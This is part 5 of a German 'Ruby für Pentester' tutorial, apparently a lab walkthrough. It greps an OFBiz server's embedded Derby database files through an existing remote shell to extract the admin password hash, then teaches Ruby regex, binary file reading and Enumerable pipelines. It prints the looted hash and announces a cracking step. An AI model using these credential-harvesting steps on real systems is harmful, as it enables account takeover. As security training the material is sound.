// Ruby für Pentester · Teil 5

Die Datenbank plündern

Mit einer Shell als ofbiz gehen wir dem Admin-Passwort-Hash nach. OFBiz' eingebettete Derby-Datenbank liegt als flache Dateien auf der Platte — wir greppen sie und lernen dann Regex und Dateiverarbeitung, um den Hash sauber herauszuziehen.

RubyRegexFilesCredentials
5 Min. Lesezeit

Wir haben eine Shell als ofbiz, aber das ist ein niedrig privilegiertes Dienstkonto. Um weiterzukommen, brauchen wir Zugangsdaten, und OFBiz bewahrt sie in seiner eingebetteten Apache-Derby-Datenbank auf. Hier die nützliche Tatsache: Statt die Datenbank-Engine abzufragen, persistiert Derby jede Tabelle als flache .dat-Segmentdateien auf der Platte — und die sind im Klartext durchsuchbar. Die Passwort-Zeile des Admins liegt also einfach da unter /opt/ofbiz/runtime/data/derby/ofbiz/seg0/ und wartet auf ein grep.

Durch unsere RCE greppen

Wir haben run noch aus Teil 3. Richte es auf die Segmentdateien:

loot = run("grep -ar 'SHA' /opt/ofbiz/runtime/data/derby/ofbiz/seg0/")

(Dieser Kommando-String ist nur deshalb doppelt gequotet, weil er einfache Anführungszeichen enthält — 'SHA' — nicht weil er interpoliert.) Unter der Ausgabe ist die UserLogin-Zeile für admin:

currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" userLoginId="admin"

Wir haben den Hash — nun ziehen wir ihn per Code heraus statt mit dem Auge.

Regex: Struktur aus Text ziehen

Ein regulärer Ausdruck beschreibt ein Muster. In Ruby stehen sie zwischen Schrägstrichen: /muster/. Die schnellste Extraktion ist String#[] mit einer Regex und einer Fanggruppe — dem Teil in Klammern, den du zurückhaben willst:

hash = loot[/currentPassword="(\$SHA\$[^"]+)"/, 1]
puts hash   # => $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

Das Muster gelesen:

  • currentPassword=" — literaler Text, an dem wir uns verankern.
  • \$SHA\$ — ein literales $SHA$. $ bedeutet in Regex „Zeilenende”, also escapen wir es mit \$, damit es ein echtes Dollarzeichen meint.
  • [^"]+ — eine Zeichenklasse: ein oder mehr Zeichen, die kein Anführungszeichen sind. So sagt man „nimm alles bis zum schließenden Quote”.
  • Die (...) darum ist die Fanggruppe; das , 1 sagt [], dass Gruppe 1 zurückgegeben werden soll.

Benannte Gruppen, für mehr als ein Feld

Wenn du mehrere Teile willst, liest sich String#match plus benannte Gruppen ((?<name>...)) besser als das Zählen von Gruppennummern:

m = loot.match(/currentPassword="(?<hash>\$SHA\$[^"]+)".*?userLoginId="(?<user>\w+)"/m)
puts "#{m[:user]} => #{m[:hash]}"   # => admin => $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
  • (?<hash>...) und (?<user>...) benennen die Gruppen; m[:hash] / m[:user] lesen sie aus den MatchData heraus.
  • \w+ ist „ein oder mehr Wortzeichen” (Buchstaben, Ziffern, Unterstrich) — genug für einen Benutzernamen.
  • Das abschließende /m lässt . auch Zeilenumbrüche treffen, falls die Felder über Zeilen verteilt sind.

Dieselbe Fertigkeit auf lokalen Dateien

Oft hast du einen Dump zurück auf deine Box gezogen. Dateien zu lesen und zu durchsuchen ist dieselbe Regex, eingepackt in Dateiverarbeitung:

Dir.glob('/loot/**/*.dat').each do |path|
  File.foreach(path, mode: 'rb') do |line|
    puts line[/\$SHA\$[^"]+/] if line.include?('$SHA$')
  end
end
  • Dir.glob('/loot/**/*.dat') findet jede .dat-Datei rekursiv (**).
  • File.foreach(path, mode: 'rb') streamt die Datei Zeile für Zeile, im Binär-Modus. Dieses mode: 'rb' ist wichtig: Derbys .dat-Dateien sind binär, und sie als Text zu lesen (die Voreinstellung, UTF-8) lässt line[/regex/] mit invalid byte sequence explodieren, sobald es auf ein Nicht-Text-Byte trifft. Der Binär-Modus liest rohe Bytes, und eine ASCII-Regex matcht sie trotzdem einwandfrei.
  • Dann dieselbe line[/regex/]-Extraktion pro Zeile.

Blöcke und der Enumerable-Werkzeugkasten

Dieses do |path| ... end, das du immer wieder an each übergibst, ist ein Block — ein Stück Code, das du einer Methode zum Aufrufen übergibst. Es ist das Ruby-igste überhaupt: each führt den Block einmal pro Element aus, Thread.new führte einen im Hintergrund aus (Teil 4), File.foreach führt einen pro Zeile aus. Überall dieselbe Idee.

each schleift nur. Seine Vettern auf Enumerable transformieren, und sie verketten sich zu einer Pipeline — genau das, was aus einem Haufen Zeilen sauberen Loot macht:

hashes = File.readlines('/loot/UserLogin.dat', mode: 'rb')
             .select { |line| line.include?('$SHA$') }
             .map    { |line| line[/\$SHA\$[^"]+/] }
             .uniq
puts hashes
  • readlines liest die ganze Datei in ein Array aus Zeilen.
  • select { } behält nur Elemente, für die der Block truthy ist — die Zeilen mit einem Hash darin.
  • map { } verwandelt jede überlebende Zeile in nur ihren Hash.
  • uniq wirft Duplikate weg und lässt ein Array eindeutiger Hashes übrig.
  • { |line| ... } ist auch ein Block — geschweifte Klammern für Einzeiler, do ... end für mehrzeilige, rein per Konvention.

select, map und uniq (mit Vettern wie reject, count und sort) sind die alltäglichen Werkzeuge, zu denen du bei jeder Sammlung in Ruby greifst, nicht nur bei Loot.

Erkenntnisse

  • Eingebettete Datenbanken (hier Derby) persistieren Tabellen oft als klartext-durchsuchbare Dateiengrep/strings schlägt das Hochfahren der DB-Engine.
  • Eine Regex (/.../) mit einer Fanggruppe ((...)) plus String#[] zieht einen Teilstring heraus; escape Regex-Metazeichen wie $ als \$.
  • Benannte Gruppen ((?<name>...)) + String#match lesen sich sauber, wenn du mehrere Felder aus einem Treffer willst.
  • Dir.glob (mit **) findet Dateien; File.foreach streamt sie Zeile für Zeile — lies binären Loot im Binär-Modus (mode: 'rb'), damit ein verirrtes Byte deine Regex nicht abstürzen lässt.
  • Ein Block (do |x| ... end oder { |x| ... }) ist Code, den du einer Methode übergibst; each/select/map/uniq auf Enumerable verketten sich zu Daten-Pipelines — Kern-Ruby, das du überall nutzt.

Übungen

  1. Zieh mit select und map jeden userLoginId-Wert aus dem Dump in ein Array von Benutzernamen.
  2. Fass dieses select { }.map { } in ein einziges grep mit Block zusammen: grep(/\$SHA\$/) { |l| l[/\$SHA\$[^"]+/] } filtert und extrahiert in einem Durchgang.
  3. Bau einen Hash { username => hash } aus dem Dump, mit einer Named-Capture-Regex und each_with_object({}).

Weiter — Teil 6: Dieser $SHA$d$-Hash ist kein Standardformat. Wir bilden OFBiz’ genaues Hashing in Ruby nach, um ihn zu knacken — dann parallelisieren wir es mit einem Thread-Pool und treffen die GVL.

← Alle Teile